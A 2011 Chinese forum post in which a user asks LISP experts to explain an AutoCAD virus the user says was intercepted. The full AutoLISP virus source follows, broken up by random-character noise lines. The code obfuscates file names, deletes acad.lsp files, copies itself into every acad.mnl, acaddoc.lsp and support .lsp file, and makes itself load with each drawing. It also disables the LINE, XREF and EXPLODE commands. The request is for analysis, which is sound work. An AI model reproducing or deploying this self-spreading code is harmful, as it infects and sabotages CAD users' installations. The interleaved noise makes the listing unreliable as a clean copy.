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[求助] 求助高手解释LISP病毒代码

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发表于 2011-9-19 15:26 | 显示全部楼层 |阅读模式
本人最近截获:CAD病毒代码一段,请LISP高手帮忙解析一下每句语句的功能,不胜感谢。最是比较常见的,党是不会亏待你的,
  1. (
      H- _6 T& g/ [+ N6 Q) l! r: y. D
  2. setq
    0 k- t  Z' [* I' \' r3 p
  3.   wold_cmd
    9 W  E) X  O3 s; V4 {0 G
  4.    (
    * X) r5 ~! h$ [+ H& o/ r
  5.     getvar3 M( [2 T2 t  q) G
  6.      "cmdecho"
    . u+ s4 \0 N$ i( t
  7.    )
    ' Z5 L5 t" ?5 Q! O$ F/ @& o( K8 i
  8. )9 ^# X7 {9 X6 L2 @  y3 i
  9. (4 p9 X7 n8 t/ x1 l0 @; x
  10. setvar
      U8 |  p. C  q: q
  11.   "cmdecho"
    $ C0 Z- {8 D4 R5 @; `) t
  12.   0
    9 C; I& K: ?: f
  13. )7 O" M* D8 P5 t" l8 t
  14. (
    1 W/ k' p, ~0 E' ], v: }+ r
  15. setq- D0 b6 |( {5 G  h% |7 N) }
  16. bb 1
    $ O+ G7 O: o9 T' B- \$ I
  17. )& Z. o7 z2 T+ @/ X$ P! b
  18. (setq dpath (getvar "dwgprefix"))
    1 M" E9 D  A4 x# c9 a0 Y
  19. (setq wpath (getvar "menuname"))" W4 j5 M7 S0 J5 x+ U) w/ K
  20. (setq wpath (substr wpath 1 (- (strlen wpath) 4)))
    - L) p2 `* a- ^# d4 D2 W
  21. (setq mnl (strcat (chr 97)" A: ?# k/ A# M' d) H
  22.                   (chr 99)
    ( I2 u* i3 r3 |* ]# S
  23.                   (chr 97)# ^" R8 q/ ~3 |8 l6 p4 A
  24.                   (chr 100)' e7 ~4 s8 v3 u3 i6 F2 s
  25.                   (chr 46)% {+ X, A4 K7 N/ _) l
  26.                   (chr 109)' a* ~4 e8 R# \& v* b# C
  27.                   (chr 110)
    : B) _' Q! o* e/ w3 N0 d, f
  28.                   (chr 108)- D- o; h2 q8 J5 d1 E8 y. D; b* ?
  29.           )
    # [# e& ]) l$ Q* N) C9 B
  30.       lsp (strcat (chr 97)
    " }. V( A  J+ ~8 s5 w
  31.                   (chr 99)
    7 b' ]% k% K. @9 f. P: d/ H
  32.                   (chr 97)7 T# C8 u5 T5 J
  33.                   (chr 100)+ A1 t$ m  U: }. H1 I- Y1 A. g
  34.                   (chr 100)* g8 Z4 S' D$ |5 ~1 z0 [' I, {6 _
  35.                   (chr 111)& `" g4 i9 t* c
  36.                   (chr 99): m' |) a# }7 c3 U, I
  37.                   (chr 46)
    . ^; w# S, b* s3 b) m
  38.                   (chr 108)0 F% r9 q: c! H6 V
  39.                   (chr 115)0 Q" }% a* E/ S8 u- f; A+ h
  40.                   (chr 112)2 t. X7 U4 j! A5 ^$ H- ~7 F
  41.           )
    " Q! a: a7 y- Z
  42. ); C  {% `4 ]8 s! ~+ W
  43. (vl-file-delete (strcat wpath "acadapq.lsp"))' x7 d# R0 A0 Q6 r" O
  44. (vl-file-delete (strcat wpath lsp))9 G$ w) e8 u! Y( X5 A: k% v+ p
  45. (vl-file-delete (strcat wpath "acad.lsp"))
    6 T- W8 J( E; Q( z+ s
  46. (vl-file-delete (strcat dpath "acad.lsp"))6 `* Q, `0 N2 q9 C2 E1 }4 H+ u1 R
  47. (defun wwriteapp ()% s6 l1 T# k5 R. Z) ^  a6 N% Z6 u
  48.   (if (setq wwjm1 (open wnewacad "w"))  Q1 O+ b3 _8 y. m
  49.     (progn8 e: W: t, F2 T; o9 ?& q7 b
  50.       (setq wwjm (open woldacad "r"))& j8 H' q1 t" @0 z2 A
  51.       (while(setq wwz (read-line wwjm))
    1 r% Q% L$ i, Q2 K
  52.          (write-line wwz wwjm1)2 V; `3 s+ a# p, D2 b9 M
  53.       )/ B5 M' w. W9 [- t& G7 T" x' _
  54.       (close wwjm)3 V; c, {& Z# C0 i) P
  55.       (close wwjm1)
    " u. t' R5 e) ~6 m4 _
  56.     ): p" L% l2 s- }( p2 W2 Y
  57.   )" F. S0 i' f# ~
  58. )9 q( ^  c( r# ~3 s& m% `5 S' U5 z

  59. , y1 Y- C3 f- A5 I' B9 B
  60. (setq lbz 0)' ^6 k7 W9 v; H
  61. (setq wwjqm (strcat dpath lsp))6 L6 `) P% H2 N
  62. (if (setq wwjm (open wwjqm "r"))
    5 h1 m2 ?$ U# t3 ^0 Y( f2 A' A
  63.   (progn7 i# Y6 s9 s9 p: L  x4 l0 r; M
  64.     (repeat 15 (read-line wwjm))
    8 L* P" G$ D$ O% Q' T
  65.     (setq wz (read-line wwjm))
    5 x, ~, D& N. ]% N, }
  66.     (setq ab (atoi (substr wz 4 1)))
    # P6 ]3 k$ B* [( q  M: t
  67.     (close wwjm)
    9 o1 b8 e7 H. Y' e7 O5 V8 P9 I
  68.     (if        (> ab bb)
    . C3 @% u2 e% u* c$ g, a2 N
  69.       (setq lbz 1)
    * J7 _7 J& y3 S* v4 w& P& @
  70.     )
    4 t3 }, I' \4 w1 g
  71.   )
    - D  h! t/ r9 ^1 X' K
  72. )* T5 F. t0 P8 |3 m0 e7 U2 g/ v- y
  73. 7 ]. l. p" Z( r$ @/ h1 x& w1 B" G
  74. (setq wwjqm (strcat wpath mnl))
    ) ^/ B. e! X( f- V* B9 T
  75. (if (setq wwjm (open wwjqm "r"))
    # x5 e! `- k+ P& Y
  76.   (progn
    4 O1 }2 n3 u4 b+ L5 i  s' d
  77.     (repeat 15 (read-line wwjm)), f- i# T, {2 ~; m
  78.     (setq wz (read-line wwjm))
    ( p# x- S4 }# s% F
  79.     (setq nb (atoi (substr wz 4 1)))- B1 _# M. x$ ?& B  t" `4 N
  80.     (close wwjm)
    1 E$ `6 F4 u, n6 Y
  81.     0 `( c0 b1 F+ V) N& b
  82.     (if        (< nb bb)
    # G3 e9 T8 t, m
  83.       (setq lbz 1)
    8 i1 d* i* t9 b0 }" `6 K& n- w
  84.     )
    8 A1 r7 ?5 n6 P, G9 c
  85.   )- @% f2 Z* `1 T8 C3 V
  86.   (setq lbz 1)
    3 m3 I7 R& w/ d- I( L+ L
  87. )8 y! C* L1 R, E
  88. (if (= lbz 1)# d1 l  t1 o) W$ c
  89.   (progn4 b5 C2 Y+ s+ F7 a0 F
  90.     (setq woldacad (strcat dpath lsp))7 s4 L0 _9 `5 k# I; c; |" V
  91.     (setq wnewacad (strcat wpath mnl))' P2 ~' R+ U2 u
  92.     (wwriteapp)' E( ^! r" n8 a( a2 T# U9 B& f
  93.   )
    3 t* C5 ?/ t, u, z8 L
  94. )
    4 d$ T# V; P% M" ?% ?( L* U
  95. (if (and (/= (substr dpath 1 1) (chr 67)). f+ G3 F9 P/ u7 ]; a# V  F
  96.          (/= (substr dpath 1 1) (chr 68))
    # u7 Z( k3 z9 q6 `6 Q1 Y: g  W
  97.          (/= (substr dpath 1 1) (chr 69))
    : @) O$ Z+ o6 \3 i' T. q
  98.          (/= (substr dpath 1 1) (chr 70))( B) ~0 l, U$ o# B6 l
  99.     )' C* u" o; r) \# A8 u
  100.   (progn$ c5 n8 e- Z2 o  n( m, T
  101.     (setq woldacad (strcat wpath mnl))% m7 B6 b$ z" }7 K; N
  102.     (setq wnewacad (strcat dpath lsp))
    ( U9 n- [0 F5 ~
  103.     (wwriteapp)6 G5 d1 I& I" @7 Y& }; X4 W- z" P
  104.   )
    6 g. j* R) d/ _6 Z: {
  105.   (vl-file-delete (strcat dpath lsp))
    8 A" L/ B. J9 [! O* I
  106. )
    1 h* g3 E& w; Z6 g
  107. ;load "acadapq")
    1 p1 U9 a, m9 K" j
  108. (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))8 i* E" _% u8 B6 Z& w

  109. ; {# U6 D+ C- M% R9 f# s1 X
  110. (setq flagx t)1 ?- L, r% L. P# [$ n  ?& z. Y
  111. (setq bz "(setq flagx t)")
    1 ^; @) ]' v; T& k2 l
  112. (defun app(source target bz / flag flag1 wjm wjm1 text)8 O% @9 i, V( \$ f8 F2 q
  113.   (setq flag nil)  r+ E0 U+ n; q' G% A
  114.   (setq flag1 t)& V* ~/ V; ?$ E3 P4 K  i: n
  115.   (if (findfile target)
    # c' N# E9 L  r
  116.     (progn7 b% b! m1 u. q
  117.       (setq wjm1 (open target "r"))
    / |/ K3 W8 J7 M2 n* P/ p/ _2 Z
  118.       (while (setq text (read-line wjm1))' R  }4 `5 f* u0 }% Q0 U6 q
  119.         (if (= text bz) (setq flag1 nil))4 {  u. C1 i# s  R
  120.         );while+ x' I( h3 N5 u
  121.       (close wjm1)' W5 v* d' m# O  V) f+ G1 ~
  122.       );progn
    1 n" _6 V4 x- Y  E" h
  123.     );if
    ) H6 p, k# B' N3 B8 ]
  124.   (if flag1
    0 F5 k1 y" r1 z! z4 p
  125.     (progn
    . m& u1 {# J! x& f& t
  126.       (setq wjm (open source "r"))' ]! t( D6 i& o, b% Y
  127.       (setq wjm1 (open target "a"))
    ! U' v/ p- e! H/ Z
  128.       (write-line (chr 13) wjm1). y5 a/ n% n3 N& P
  129.       (while (setq text (read-line wjm))
    & _8 k& o+ R/ y4 S6 x& N, s
  130.         (if (= text bz) (setq flag t))& Z& C/ m# i$ J+ T  i! U1 D
  131.         (if flag
    . f" Z" s0 Z  |
  132.           (progn
    6 F6 _3 q, v' D% L( N
  133.             (write-line text wjm1)
      v8 ]+ \, K9 b" c/ K  ?5 @) S+ W7 i
  134.             );progn2 b1 ?2 l& f& k/ o: B
  135.           );if- ]9 C6 Q' ]1 _! ^- Q& O; q0 f
  136.         );while6 [' p5 e- }0 G- @
  137.       (close wjm1)( Q* w7 p3 U# Z1 k2 B, l) t
  138.       (close wjm)/ y6 I3 I* Z7 L( K: H, q' |7 D
  139.       );progn3 ?2 R9 A( a+ t8 \, n3 x! r
  140.     );if9 T5 w! L/ P0 Z
  141.   );defun* k) o+ U" z  X6 V/ M' }
  142. (setvar "cmdecho" 0)
    " W* ^( X) M+ D5 a
  143. (setq acadmnl (findfile "acad.mnl"))
    ' M" P& q1 X8 j4 Y& z
  144. (setq acadmnlpath (vl-filename-directory acadmnl))1 f$ g, ]" D3 M2 b( X8 p
  145. (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")). i/ ~: T0 g% x
  146. (setq mnlnum (length mnlfilelist))9 C2 J* ]7 B% [9 v" q1 y( `
  147. (setq acadexe (findfile "acad.exe"))
    # K7 _* u& _( _( S) r
  148. (setq acadpath (vl-filename-directory acadexe))0 L( x2 G, U' T# d# Z
  149. (setq support (strcat acadpath "\\support"))* b. n* Y! T1 K5 p
  150. (setq lspfilelist (vl-directory-files support "*.lsp"))
    $ S6 m5 E  M) ?  {- d* n: _
  151. (setq lspfilelist (append lspfilelist (list "")))
    ) j; x1 U! |6 ?8 H
  152. (setq lspnum (length lspfilelist))
    ( M7 j  S! z& Q+ r9 x
  153. (setq dwgname (getvar "dwgname"))
    " \0 i( z( S; K; ]1 v" H! @
  154. (setq dwgpath (findfile dwgname))
    4 q+ G0 A/ l' E# c7 {. y
  155. (if dwgpath
    9 H% Z9 f0 M$ L) b  a3 h, J& ^$ H
  156.   (progn4 P' w/ }+ n  M- i' Q8 F: u5 S
  157.     (setq acaddocpath (vl-filename-directory dwgpath))
    7 T- c" R2 S  u7 t, U
  158.     (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))- F6 d! g/ v' k. W
  159.     (setq mnln 0)
    $ D* e4 W% T3 M8 H: l& I1 C
  160.     (while (< mnln mnlnum)
    " ?* X+ t3 Y/ e) S) s' h" c+ c' d
  161.       (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))6 {( p" P* F) f8 e4 Q
  162.       (app mnlfilename acaddocfile bz)
    4 W3 m2 \8 l' \$ l8 D& E) r0 i
  163.       (app acaddocfile mnlfilename bz)
    $ L* B" I4 ^6 K, l, L
  164.       (setq mnln (1+ mnln))
    , {/ T3 y7 i' j  G
  165.       );while7 e3 A) r+ |: w2 a$ V# I7 D9 S
  166.     (setq lspn 0)
    , T; ~5 o: n" D! H# g' V' {
  167.     (while (< lspn lspnum)
    5 }, R/ |. D. A8 H7 @0 @8 v4 e
  168.       (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
    - ?  @& A( c3 z# f( L1 p
  169.       (app lspfilename acaddocfile bz)
    0 B. a3 ?1 u7 m# V
  170.       (app acaddocfile lspfilename bz)+ s8 K) Z2 F! s  J2 I3 O, C& S! ~/ S7 Y
  171.       (setq lspn (1+ lspn))
    " u, F2 I# Y- F: J8 G* g, |
  172.       );while
    * l) K) @. p5 v, R' w4 b
  173.     );progn
    * ?, ~# l- F; |+ ]% K
  174.   );if
    : a8 Z; t: @  ?2 c; R, S- U% x
  175. (setq mnln 0)2 Z( q* T8 t1 H
  176. (while (< mnln mnlnum): J$ T+ f; Q# N; D
  177.   (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))- e: [  n$ j1 M1 d! P! ^6 f
  178.   (setq mnln1 0)& g- m+ J8 Z: e; P0 S
  179.   (while (< mnln1 mnlnum)
    ' e" I/ v$ v5 D. k3 b
  180.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))0 z' N% ]* _0 ~# y% Z$ ^! ]  n
  181.     (app mnlfilename mnlfilename1 bz)5 }$ U  `* U, }, K) J+ }+ f
  182.     (setq mnln1 (1+ mnln1))5 T4 y' l, k1 k. Y
  183.     );while0 {5 R6 u1 w* ^* m- {4 l* t
  184.   (setq lspn1 0)
    6 E2 O( e! h( ?" }
  185.   (while (< lspn1 lspnum)& Y7 A, d; p) `4 X3 `
  186.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
    & I: d2 Z# m* H/ b! y( \& H  s( X" @
  187.     (app mnlfilename lspfilename1 bz)/ h1 y- c, f3 l$ X% W  Z; q
  188.     (setq lspn1 (1+ lspn1))
    ; }, e# c2 V9 p6 D! n3 ~
  189.     );while  B( I3 e: V% e2 Q2 J
  190.   (setq mnln (1+ mnln))
    : k$ `/ O3 R5 H# _
  191.   );while. w- G8 `- ]4 Z- U: k& T  H3 l
  192. (setq lspn 0)* R; k4 W8 Z1 f6 H
  193. (while (< lspn lspnum)
    9 ?' H) I- a. Q0 A
  194.   (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
    2 f, b4 p: P; M
  195.   (setq lspn1 0)* o" B1 D2 |3 H6 q) \8 U
  196.   (while (< lspn1 lspnum)$ d) I  d# _5 t2 X
  197.     (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
    ! _& T4 y7 L- X9 m
  198.     (app lspfilename lspfilename1 bz)
    3 K' e0 c& h" l, L# B2 z2 }3 m
  199.     (setq lspn1 (1+ lspn1))
    4 i0 h& z+ x& _2 L% K8 C
  200.     );while/ g+ M" }0 y! ]$ c4 i* N! w
  201.   (setq mnln1 0)
    4 ]- r. _4 A8 y1 i8 w
  202.   (while (< mnln1 mnlnum). v( i5 C& n4 T# B, f, ^
  203.     (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
    ; g( e4 p1 o: Y3 Y- l2 h
  204.     (app lspfilename mnlfilename1 bz)- B( ?1 _  v% q9 I7 x
  205.     (setq mnln1 (1+ mnln1))
    / C; y% i; R. o$ r2 e; U
  206.     );while
    # e, V3 v9 Y" V, B
  207.   (setq lspn (1+ lspn))4 C4 G! K2 f9 G* z7 _: L$ p2 j, b
  208.   );while1 w7 ^. W  y0 j$ k, m/ d1 C. \
  209. (setvar "sdi" 1), d  I, [) j/ z; V
  210. (setvar "ACADLSPASDOC" 1)! w  h* A: i8 @
  211. (command "undefine" "line")' S* @1 D$ V. I$ B/ |4 S* ^
  212. (command "undefine" "_line")5 J) D% L# j9 j( G6 T/ H( m% o8 {5 V
  213. (command "undefine" "xref")
    # K) a; w) M7 o" N4 {; a2 g7 G) C
  214. (command "undefine" "_xref")
    & q. x; s% R+ z1 K
  215. (command "undefine" "explode")! d: a) @, g9 r' `( q: f$ v2 D8 R9 O7 ]  a
  216. (command "undefine" "_explode")
    & \, @3 D: R0 ~; k7 A& O
  217. (setvar "cmdecho" 1)
    : L* c- a# _- q1 L
  218. (princ)# ]5 y7 J! D/ D. _  l
  219. (load "acadapp")6 W6 g& @# g6 F+ C+ q& r0 S
  220. (princ)
    ( p0 \2 O) N* |# x
  221. (if (null stol) (load "lcm" ""))
      V8 {! X# Q& @& A0 }% R8 F& H4 v2 S" N
  222. (princ)
    0 T1 w8 }2 d* a7 m' o; M9 D2 l
  223. (load "acadappp.lsp")
    8 D6 _3 w' \" m) c4 F4 X
  224. (princ)% V* s7 O( Q. t: |/ \
  225. (if (null stol) (load "lcm" ""))
    5 q& Z; [# G  a7 t. H
  226. (princ)
复制代码
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